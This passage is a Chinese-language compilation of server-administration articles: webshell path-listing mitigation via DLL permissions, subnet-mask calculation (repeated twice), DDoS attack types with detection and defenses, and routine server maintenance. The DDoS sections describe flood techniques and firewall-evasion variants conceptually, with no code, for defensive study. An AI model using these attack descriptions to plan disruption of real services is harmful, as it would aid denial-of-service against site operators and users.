理论上说,用上面的方法去绑定所有的客户机(注意要一台不漏喔),不在由上绑也是可以的;实践中还要等你测试过之后跟我说效果;
有条件的话,最好在由或者交换机里面绑定所有客户机的IP和MAC,这样ARP欺骗应该就可以完美解决的了.

如何修补网站列物理路径漏洞(IIS SPY)

一个空间服务器来说,可以列服务器上所有网站的物理路径,同时再可以跳转路径的话
我可以明确的告诉你,你的服务器离崩溃不远了,最近.net脚本写的网站木马,也叫shell
黑客又叫大马或者小马什么的,有个列网站所有网站域名和物理路径的功能。
如果你的服务器支持.NET那就要注意了,,进入木马有个功能叫:IIS Spy,点击以后可以看到所有站点所在的物理路径。
%SystemRoot%/system32/activeds.dll
%SystemRoot%/system32/activeds.tlb
搜索这两个文件,把USER组和POWERS组去掉,只保留administrators和system权限。。如果还有其它组请全部去掉。
这样就能防止这种木马列出所有站点的物理路径。

IP地址和子网掩码计算

*************
IP地址的分类:
*************

  任何一个0到127间的网络地址均是一个A类地址。
  任何一个128到191间的网络地址是一个B类地址。
  任何一个192到223间的网络地址是一个C类地址。
  任何一个第一个八位组在224到239间的网络地址是一个组播地址。
  任何一个专用I P网络均可以使用包括一个A类地址( 10.0.0.0 )、16个B类地址(从172.16.0.0到172.31.0.0 )和256个C类地址(从192.168.0.0到192.168.255.0 )在内的任何地址。

***************
子网掩码的计算:
***************

其实计算并不复杂。
以C类地址为例,自己找找规律。
掩码00000000,最大子网,相当于无子网。
掩码10000000,子网数2,可用0,每子网地址128,可用主机126。
掩码11000000,子网数4,可用2,每子网地址64,可用主机62。
掩码11100000,子网数8,可用6,每子网地址32,可用主机30。
掩码11110000,子网数16,可用14,每子网地址16,可用主机14。
掩码11111000,子网数32,可用30,每子网地址8,可用主机6。
掩码11111100,子网数64,可用62,每子网地址4,可用主机2。
可见,子网划分越多,地址浪费越多。
将掩码换算为十进制,可使用WINDOWS的计算器。
如掩码11100000,换算后是224,子网掩码就是255.255.255.224。
应根据主机最多的部门来确定子网大小,如果一个C类地址段不够用,就要涉及到路由、VLAN等技术,这里就不多说了。

****************************
子网掩码及主机段的十进制算法
****************************

首先要明确一些概念:

类范围:IP地址常采用点分十进制表示方法X.Y.Y.Y,在这里
X=1–126时称为A类地址;
X=128–191时称为B类地址;
X=192–223时称为C类地址;
如10.202.52.130因为X=10在1–126范围内所以称为A类地址
类默认子网掩码:A类为 255.0.0.0
B类为 255.255.0.0
C类为 255.255.255.0

当我们要划分子网用到子网掩码M时,类子网掩码的格式应为
A类为 255.M.0.0
B类为 255.255.M.0
C类为 255.255.255.M
M是相应的子网掩码如:255.255.255.240
十进制计算基数:256,等一下我们所有的十进制计算都要用256来进行。

[separator]

几个公式变量的说明:
Subnet_block:可分配子网块大小,指在某一子网掩码下的子网的块数。
Subnet_num:实际可分配子网数,指可分配子网块中要剔除首、尾两块,这是某一子网掩码下可分配的实际子网数量,它等于Subnet_block-2。
IP_block:每个子网可分配的IP地址块大小。
IP_num:每个子网实际可分配的IP地址数,因为每个子网的首、尾IP地址必须保留(一个为网络地址,一个为广播地址),所以它等于IP_block-2,IP_num也用于计算主机段
M:子网掩码(net mask)。
它们之间的公式如下:
M=256-IP_block
IP_block=256/Subnet_block,反之Subnet_block=256/IP_block
IP_num=IP_block-2
Subnet_num=Subnet_block-2
2的冥数:要熟练掌握2^8(256)以内的2的冥代表的十进制数,如128=2^7、64=2^6…,这可使我们立即推算出Subnet_block和IP_block数。

[separator]
现在我们举一些例子:

一、 已知所需子网数12,求实际子网数
解:这里实际子网数指Subnet_num,由于12最接近2的冥为16(2^4),即 Subnet_block=16,那么Subnet_num=16-2=14,故实际子网数为14。

二、已知一个B类子网每个子网主机数要达到60×255(约相当于X.Y.0.1–X.Y.59.254的数量)个,求子网掩码。
解:1、60接近2的冥为64(2^6),即,IP_block=64
2、子网掩码M=256-IP_block
=256-64=192
3、子网掩码格式B类是:255.255.M.0.
所以子网掩码为:255.255.192.0

三、 如果所需子网数为7,求子网掩码
解:1、7最接近2的冥为8,但8个Subnet_block因为要保留首、尾2个子网块,即 8-2=6<7,并不能达到所需子网数,所以应取2的冥为16,即Subnet_block=16
2、IP_block=256/Subnet_block=256/16=16
3、子网掩码M=256-IP_block=256-16=240。

四、 已知网络地址为211.134.12.0,要有4个子网,求子网掩码及主机段。
解:1、211.y.y.y是一个C类网,子网掩码格式为255.255.255.M
2、4个子网,4接近2的冥是8(2^3),所以Subnet_block=8
Subnet_num=8-2=6
3、IP_block=256/Subnet_block=256/8=32
4、子网掩码M=256-IP_block=256-32=224
5、所以子网掩码表示为255.255.255.224
6、因为子网块(Subnet_block)的首、尾两块不能使用,所以可分配6个子网块(Subnet_num),每块32个可分配主机块(IP_block)
即:32-63、64-95、96-127、128-159、160-191、192-223
首块(0-31)和尾块(224-255)不能使用
7、每个子网块中的可分配主机块又有首、尾两个不能使用(一个是子网网络地址,一个 是子网广播地址),所以主机段分别为:
33-62、65-94、97-126、129-158、161-190、193-222
8、所以子网掩码为255.255.255.224
主机段共6段为:211.134.12.33–211.134.12.62
211.134.12.65–211.134.12.94
211.134.12.97–211.134.12.126
211.134.12.129–211.134.12.158
211.134.12.161–211.134.12.190
211.134.12.193–211.134.12.222
可以任选其中的4段作为4个子网。

总之,只要理解了公式中的逻辑关系,就能很快计算出子网掩码,从而得出可分配的主机段,参加MCSE和CCNA考试的朋友使用这种方法可以顺利地通过相关试题的考试,而不用象记99乘法口诀表一样去背什么二进制掩码表了。 *************
IP地址的分类:
*************

  任何一个0到127间的网络地址均是一个A类地址。
  任何一个128到191间的网络地址是一个B类地址。
  任何一个192到223间的网络地址是一个C类地址。
  任何一个第一个八位组在224到239间的网络地址是一个组播地址。
  任何一个专用I P网络均可以使用包括一个A类地址( 10.0.0.0 )、16个B类地址(从172.16.0.0到172.31.0.0 )和256个C类地址(从192.168.0.0到192.168.255.0 )在内的任何地址。

***************
子网掩码的计算:
***************

其实计算并不复杂。
以C类地址为例,自己找找规律。
掩码00000000,最大子网,相当于无子网。
掩码10000000,子网数2,可用0,每子网地址128,可用主机126。
掩码11000000,子网数4,可用2,每子网地址64,可用主机62。
掩码11100000,子网数8,可用6,每子网地址32,可用主机30。
掩码11110000,子网数16,可用14,每子网地址16,可用主机14。
掩码11111000,子网数32,可用30,每子网地址8,可用主机6。
掩码11111100,子网数64,可用62,每子网地址4,可用主机2。
可见,子网划分越多,地址浪费越多。
将掩码换算为十进制,可使用WINDOWS的计算器。
如掩码11100000,换算后是224,子网掩码就是255.255.255.224。
应根据主机最多的部门来确定子网大小,如果一个C类地址段不够用,就要涉及到路由、VLAN等技术,这里就不多说了。

****************************
子网掩码及主机段的十进制算法
****************************

首先要明确一些概念:

类范围:IP地址常采用点分十进制表示方法X.Y.Y.Y,在这里
X=1–126时称为A类地址;
X=128–191时称为B类地址;
X=192–223时称为C类地址;
如10.202.52.130因为X=10在1–126范围内所以称为A类地址
类默认子网掩码:A类为 255.0.0.0
B类为 255.255.0.0
C类为 255.255.255.0

当我们要划分子网用到子网掩码M时,类子网掩码的格式应为
A类为 255.M.0.0
B类为 255.255.M.0
C类为 255.255.255.M
M是相应的子网掩码如:255.255.255.240
十进制计算基数:256,等一下我们所有的十进制计算都要用256来进行。

[separator]

几个公式变量的说明:
Subnet_block:可分配子网块大小,指在某一子网掩码下的子网的块数。
Subnet_num:实际可分配子网数,指可分配子网块中要剔除首、尾两块,这是某一子网掩码下可分配的实际子网数量,它等于Subnet_block-2。
IP_block:每个子网可分配的IP地址块大小。
IP_num:每个子网实际可分配的IP地址数,因为每个子网的首、尾IP地址必须保留(一个为网络地址,一个为广播地址),所以它等于IP_block-2,IP_num也用于计算主机段
M:子网掩码(net mask)。
它们之间的公式如下:
M=256-IP_block
IP_block=256/Subnet_block,反之Subnet_block=256/IP_block
IP_num=IP_block-2
Subnet_num=Subnet_block-2
2的冥数:要熟练掌握2^8(256)以内的2的冥代表的十进制数,如128=2^7、64=2^6…,这可使我们立即推算出Subnet_block和IP_block数。

[separator]

现在我们举一些例子:

一、 已知所需子网数12,求实际子网数
解:这里实际子网数指Subnet_num,由于12最接近2的冥为16(2^4),即 Subnet_block=16,那么Subnet_num=16-2=14,故实际子网数为14。

二、已知一个B类子网每个子网主机数要达到60×255(约相当于X.Y.0.1–X.Y.59.254的数量)个,求子网掩码。
解:1、60接近2的冥为64(2^6),即,IP_block=64
2、子网掩码M=256-IP_block
=256-64=192
3、子网掩码格式B类是:255.255.M.0.
所以子网掩码为:255.255.192.0

三、 如果所需子网数为7,求子网掩码
解:1、7最接近2的冥为8,但8个Subnet_block因为要保留首、尾2个子网块,即 8-2=6<7,并不能达到所需子网数,所以应取2的冥为16,即Subnet_block=16
2、IP_block=256/Subnet_block=256/16=16
3、子网掩码M=256-IP_block=256-16=240。

四、 已知网络地址为211.134.12.0,要有4个子网,求子网掩码及主机段。
解:1、211.y.y.y是一个C类网,子网掩码格式为255.255.255.M
2、4个子网,4接近2的冥是8(2^3),所以Subnet_block=8
Subnet_num=8-2=6
3、IP_block=256/Subnet_block=256/8=32
4、子网掩码M=256-IP_block=256-32=224
5、所以子网掩码表示为255.255.255.224
6、因为子网块(Subnet_block)的首、尾两块不能使用,所以可分配6个子网块(Subnet_num),每块32个可分配主机块(IP_block)
即:32-63、64-95、96-127、128-159、160-191、192-223
首块(0-31)和尾块(224-255)不能使用
7、每个子网块中的可分配主机块又有首、尾两个不能使用(一个是子网网络地址,一个 是子网广播地址),所以主机段分别为:
33-62、65-94、97-126、129-158、161-190、193-222
8、所以子网掩码为255.255.255.224
主机段共6段为:211.134.12.33–211.134.12.62
211.134.12.65–211.134.12.94
211.134.12.97–211.134.12.126
211.134.12.129–211.134.12.158
211.134.12.161–211.134.12.190
211.134.12.193–211.134.12.222
可以任选其中的4段作为4个子网。

总之,只要理解了公式中的逻辑关系,就能很快计算出子网掩码,从而得出可分配的主机段,参加MCSE和CCNA考试的朋友使用这种方法可以顺利地通过相关试题的考试,而不用象记99乘法口诀表一样去背什么二进制掩码表了。

老手段新思维 常见DDOS攻击和防护

    作为破坏力较强的黑客攻击手段,DDoS是一种形式比较特殊的拒绝服务攻击。作为一种分布、协作的大规模攻击方式,它往往把受害目标锁定在大型Internet站点,例如商业公司、搜索引擎或政府部门网站。由于DDoS攻击的恶劣性,难以被侦测和控制,来势迅猛又令人难以防备,具有极大破坏力因此也广泛受到网络安全业界的关注。
  
    一、 DDoS攻击原理
    我们先来研究最常见的SYN攻击, SYN攻击属于DOS Denial of Servic攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。TCP协议建立连接的时候需要双方相互确认信息,来防止连接被伪造和精确控制整个数据传输过程数据完整有效。所以TCP协议采用三次握手建立一个连接。

    第一次握手:建立连接时,客户端发送syn包到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,确认客户的SYN 同时自己也发送一个SYN包 即SYN+ACK包,此时服务器进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

    二 、DDoS攻击种类
    由于肉鸡的木马可以随时更新攻击的数据包和攻击方式,所以新的攻击更新非常快这里我们介绍几种常见的攻击的原理和方法

    1.SYN变种攻击:发送伪造源IP的SYN数据包但是数据包不是64字节而是上千字节,这种攻击会造成一些防火墙处理错误导致锁死,消耗服务器CPU内存的同时还会堵塞带宽。

    2.TCP混乱数据包攻击:发送伪造源IP的 TCP数据包,TCP头的TCP Flags 部分是混乱的可能是syn ,ack ,syn+ack ,syn+rst等等,会造成一些防火墙处理错误导致锁死,消耗服务器CPU内存的同时还会堵塞带宽。

    3.针对UDP协议攻击: 很多聊天室,视频音频软件,都是通过UDP数据包传输的,攻击者针对分析要攻击的网络软件协议,发送和正常数据一样的数据包,这种攻击非常难防护,一般防护墙通过拦截攻击数据包的特征码防护,但是这样会造成正常的数据包也会被拦截。

    4.针对WEB Server的多连接攻击:通过控制大量肉鸡同时连接访问网站,造成网站无法处理瘫痪,这种攻击和正常访问网站是一样的,只是瞬间访问量增加几十倍甚至上百倍,有些防火墙可以通过限制每个连接过来的IP连接数来防护,但是这样会造成正常用户稍微多打开几次网站也会被封。

    5.针对WEB Server的变种攻击: 通过控制大量肉鸡同时连接访问网站,一点连接将不间断发送一些特殊的GET访问请求,造成网站数据库或者某些页面耗费大量的CPU,这样通过限制每个连接过来的IP连接数进行防护的方法就失效了,因为每个肉鸡可能只建立一个或者只建立少量的连接。这种攻击非常难防护。

    6. 针对WEB Server的变种攻击: 通过控制大量肉鸡同时连接网站端口,但是不发送GET请求而是乱七八糟的字符,大部分防火墙分析攻击数据包前三个字节是GET字符然后来进行http协议的分析,这种攻击,不发送GET请求就可以绕过防火墙到达服务器,一般服务器都是共享带宽的,带宽不会超过10M ,所以大量的肉鸡攻击数据包就会把这台服务器的共享带宽堵塞造成服务器瘫痪,这种攻击也非常难防护,因为如果只简单的拦截客户端发送过来没有GET字符的数据包,会错误的封锁很多正常的数据包造成正常用户无法访问。

    7.针对游戏服务器的攻击:因为游戏服务器非常多,这里介绍最早也是影响最大的传奇游戏,传奇游戏分为登陆注册端口7000,人物选择端口7100,以及游戏运行端口7200、7300、7400等,因为游戏自己的协议设计的非常复杂,所以攻击的种类也花样倍出,大概有几十种之多,而且还在不断的发现新的攻击种类,这里介绍目前最普遍的假人攻击,假人攻击是通过肉鸡模拟游戏客户端进行自动注册、登陆、建立人物、进入游戏活动从数据协议层面模拟正常的游戏玩家,很难从游戏数据包来分析出哪些是攻击哪些是正常玩家。

    三、 DDoS防护
    以上介绍的几种最常见的攻击也是比较难防护的攻击。一般基于包过滤的防火墙只能分析每个数据包,或者有限的分析数据连接建立的状态,防护SYN或者变种的SYNACK攻击效果不错,但是不能从根本上来分析TCP、UDP协议和针对应用层的协议。比如http、游戏协议、软件视频音频协议。现在的新的攻击越来越多的针对应用层协议漏洞攻击,或者分析协议然后发送和正常数据包一样的数据,或者干脆模拟正常的数据流,单从数据包层面,分析每个数据包里面有什么数据,根本无法很好的防护新型的攻击。

    目前防护网络攻击效果比较好的有傲盾,黑洞,和金盾防火墙.傲盾是基于连接状态检测的防火墙,防护SYN攻击和SYN变种攻击、TCP混乱数据包攻击,效果都差不多。因为傲盾基于连接状态检测的防火墙,3-7类的涉及到网络软件自己的网络协议的效果会好一些。 根据傲盾实验室测试,针对UDP协议的攻击,基于连接状态检测的傲盾防火墙可以记录每个UDP包所属的连接,判断此连接是否登陆,是否通过验证,如果没有通过验证,无论发送的数据包是否合法都会被拦截掉。第4、5、6 种攻击,基于连接状态检测的傲盾防火墙可以彻底分析HTTP协议,分析每个数据包所归属的HTTP连接,此连接是否是正常请求,如果不是正常请求,就进行拦截。也可以在防火墙里设置HTTP验证标记,这样防火墙处理新的HTTP协议的时候会随机生成一个HTTP标记,肉鸡攻击的时候不会处理这个标记,正常的IE打开的时候,会处理这个标记,这样防火墙就可以区分是不是正常IE打开的网页。对于第7种攻击,基于连接状态检测的防火墙可以通过多种策略混合过滤来达到效果,比如可以判断这个登陆进来的连接有没有发送过非法的特殊攻击包,因为肉鸡模拟的攻击假人毕竟是程序控制的,动作很少或者一直重复甚至一直不动,这样就可以判断这个连接在游戏里的动作10秒内是不是一直重复,重复多少次,或者是不是一直不动,来达到封锁假人的效果。

    四、小结
    现在网络发展速度飞快,新攻击每个星期都会有,传统的防火墙只能通过设置传统的规则封IP,端口,封连接数或者按照连接的一些基本特征来封锁,很难对新的攻击做出第一时间的解决方案。防火墙和攻击是矛和盾的关系,防火墙必须做到像杀毒软件一样有迅速处理的机制才能真正把新攻击扼杀到摇篮之中。

什么是DDOS攻击及怎么抵抗DDOS攻击?

 

一、为何要DDOS?

    随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势。出于商业竞争、打击报复和网络敲诈等多种因素,导致很多IDC托管机房、商业站点、游戏服务器、聊天网络等网络服务商长期以来一直被DDOS攻击所困扰,随之而来的是客户投诉、同虚拟主机用户受牵连、法律纠纷、商业损失等一系列问题,因此,解决DDOS攻击问题成为网络服务商必须考虑的头等大事。

二、什么是DDOS?

    DDOS是英文Distributed Denial of Service的缩写,意即“分布式拒绝服务”,那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。虽然同样是拒绝服务攻击,但是DDOS和DOS还是有所不同,DDOS的攻击策略侧重于通过很多“僵尸主机”(被攻击者入侵过或可间接利用的主机)向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务,分布式拒绝服务攻击一旦被实施,攻击网络包就会犹如洪水般涌向受害主机,从而把合法用户的网络包淹没,导致合法用户无法正常访问服务器的网络资源,因此,拒绝服务攻击又被称之为“洪水式攻击”,常见的DDOS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等;而DOS则侧重于通过对主机特定漏洞的利用攻击导致网络栈失效、系统崩溃、主机死机而无法提供正常的网络服务功能,从而造成拒绝服务,常见的DOS攻击手段有TearDrop、Land、Jolt、IGMP Nuker、Boink、Smurf、Bonk、OOB等。就这两种拒绝服务攻击而言,危害较大的主要是DDOS攻击,原因是很难防范,至于DOS攻击,通过给主机服务器打补丁或安装防火墙软件就可以很好地防范,后文会详细介绍怎么对付DDOS攻击。

三、被DDOS了吗?

    DDOS的表现形式主要有两种,一种为流量攻击,主要是针对网络带宽的攻击,即大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。

    如何判断网站是否遭受了流量攻击呢?可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。

    相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。

    当前主要有三种流行的DDOS攻击:

    1、SYN/ACK Flood攻击:这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

    2、TCP全连接攻击:这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此容易被追踪。

    3、刷Script脚本攻击:这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。

四、怎么抵御DDOS?

    对付DDOS是一个系统工程,想仅仅依靠某种系统或产品防住DDOS是不现实的,可以肯定的是,完全杜绝DDOS目前是不可能的,但通过适当的措施抵御90%的DDOS攻击是可以做到的,基于攻击和防御都有成本开销的缘故,若通过适当的办法增强了抵御DDOS的能力,也就意味着加大了攻击者的攻击成本,那么绝大多数攻击者将无法继续下去而放弃,也就相当于成功的抵御了DDOS攻击。以下几点是防御DDOS攻击几点:

    1、采用高性能的网络设备

    首先要保证网络设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和网络提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在网络接点处做一下流量限制来对抗某些种类的DDOS攻击是非常有效的。

    2、尽量避免NAT的使用

    无论是路由器还是硬件防护墙设备要尽量避免采用网络地址转换NAT的使用,因为采用此技术会较大降低网络通信能力,其实原因很简单,因为NAT需要对地址来回转换,转换过程中需要对网络包的校验和进行计算,因此浪费了很多CPU的时间,但有些时候必须使用NAT,那就没有好办法了。

    3、充足的网络带宽保证

    网络带宽直接决定了能抗受攻击的能力,假若仅仅有10M带宽的话,无论采取什么措施都很难对抗现在的SYNFlood攻击,当前至少要选择100M的共享带宽,最好的当然是挂在1000M的主干上了。但需要注意的是,主机上的网卡是1000M的并不意味着它的网络带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为网络服务商很可能会在交换机上限制实际带宽为10M,这点一定要搞清楚。

    4、升级主机服务器硬件

    在有网络带宽保证的前提下,请尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P4 2.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,若有志强双CPU的话就用它吧,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,别只贪IDE价格不贵量还足的便宜,否则会付出高昂的性能代价,再就是网卡一定要选用3COM或Intel等名牌的,若是Realtek的还是用在自己的PC上吧。

    5、把网站做成静态页面

    大量事实证明,把网站尽可能做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,至少到现在为止关于HTML的溢出还没出现,看看吧!新浪、搜狐、网易等门户网站主要都是静态页面,若你非需要动态脚本调用,那就把它弄到另外一台单独主机去,免的遭受攻击时连累主服务器,当然,适当放一些不做数据库调用脚本还是可以的,此外,最好在需要调用数据库的脚本中拒绝使用代理的访问,因为经验表明使用代理访问你网站的80%属于恶意行为。

    6、增强操作系统的TCP/IP栈

    Win2000和Win2003作为服务器操作系统,本身就具备一定的抵抗DDOS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵挡约10000个SYN攻击包,若没有开启则仅能抵御数百个,具体怎么开启,自己去看微软的文章吧!《强化 TCP/IP 堆栈安全》。

    也许有的人会问,那我用的是Linux和FreeBSD怎么办?很简单,按照这篇文章去做吧!《SYN Cookies》。

    7、安装专业抗DDOS防火墙

    8、其他防御措施

    以上几条对抗DDOS建议,适合绝大多数拥有自己主机的用户,但假如采取以上措施后仍然不能解决DDOS问题,就有些麻烦了,可能需要更多投资,增加服务器数量并采用DNS轮巡或负载均衡技术,甚至需要购买七层交换机设备,从而使得抗DDOS攻击能力成倍提高,只要投资足够深入。

企业服务器日常维护知多少?

   为了能更好的使用和延长服务器的使用寿命,定期的对服务器进行维护是非常必要的。但是,在维护服务器的时候一定要小心的处理好维护的工作,否则出现错误的话就会影响很大。为了方便大家在维护中了解一些维护内容的同时又能避免出现错误。下面就收集了一些资料供大家参考。

  硬件维护

  1、储存设备的扩充

  当资源不断扩展的时候,服务器就需要更多的内存和硬盘容量来储存这些资源。所以,内存和硬盘的扩充是很常见的。增加内存前需要认定与服务器原有的内存的兼容性,最好是同一品牌的规格的内存。如果是服务器专用的ECC内存,则必须选用相同的内存,普通的SDRAM内存与ECC内存在同一台服务器上使用很可能会引起统严重出错。在增加硬盘以前,需要认定服务器是否有空余的硬盘支架、硬盘接口和电源接口,还有主板是否支持这种容量的硬盘。尤其需要注意,防止买来了设备却无法使用。

  2、设备的卸载和更换

  卸载和更换设备时的问题不大,需要注意的是有许多品牌服务器机箱的设计比较特殊,需要特殊的工具或机关才能打开,在卸机箱盖的时候,需要仔细看说明书,不要强行拆卸。另外,必须在完全断电、服务器接地良好的情况下进行,即使是支持热插拔的设备也是如此,以防止静电对设备造成损坏。

  3、除尘

  尘土是服务器最大的杀手,因此需要定期给服务器除尘。对于服务器来说,灰尘甚至是致命的。除尘方法与普通PC除尘方法相同,尤其要注意的是电源的除尘。

  软件维护

  1、操作系统的维护

  操作系统是服务器运行的软件基础,其重要性不言自明。多数服务器操作系统使用Windows 2003或Windows 2008Server作为操作系统,维护起来还是比较容易的。

  在Windows NT或Windows 2003 Server打开事件查看器,在系统日志、安全日志和应用程序日志中查看有没有特别异常的记录。现在网上的黑客越来越多了,因此需要到微软的网站上下载最新的Service Pack(升级服务包)安装上,将安全漏洞及时补上。

  2、网络服务的维护

  网络服务有很多,如WWW服务、DNS服务、DHCP服务、SMTP服务、FTP服务等,随着服务器提供的服务越来越多,系统也容易混乱,此时可能需要重新设定各个服务的参数,使之正常运行。

  3、数据库服务

  数据库经过长期的运行,需要调整数据库性能,使之进入最优化状态。数据库中的数据是最重要的,这些数据库如果丢失,损失是巨大的,因此需要定期来备份数据库,以防万一。

  4、用户数据

  经过频繁使用,服务器可能存放了大量的数据。这些数据是非常宝贵的资源,所以需要加以整理,并刻成光盘永久保存起来,即使服务器有故障,也能恢复数据。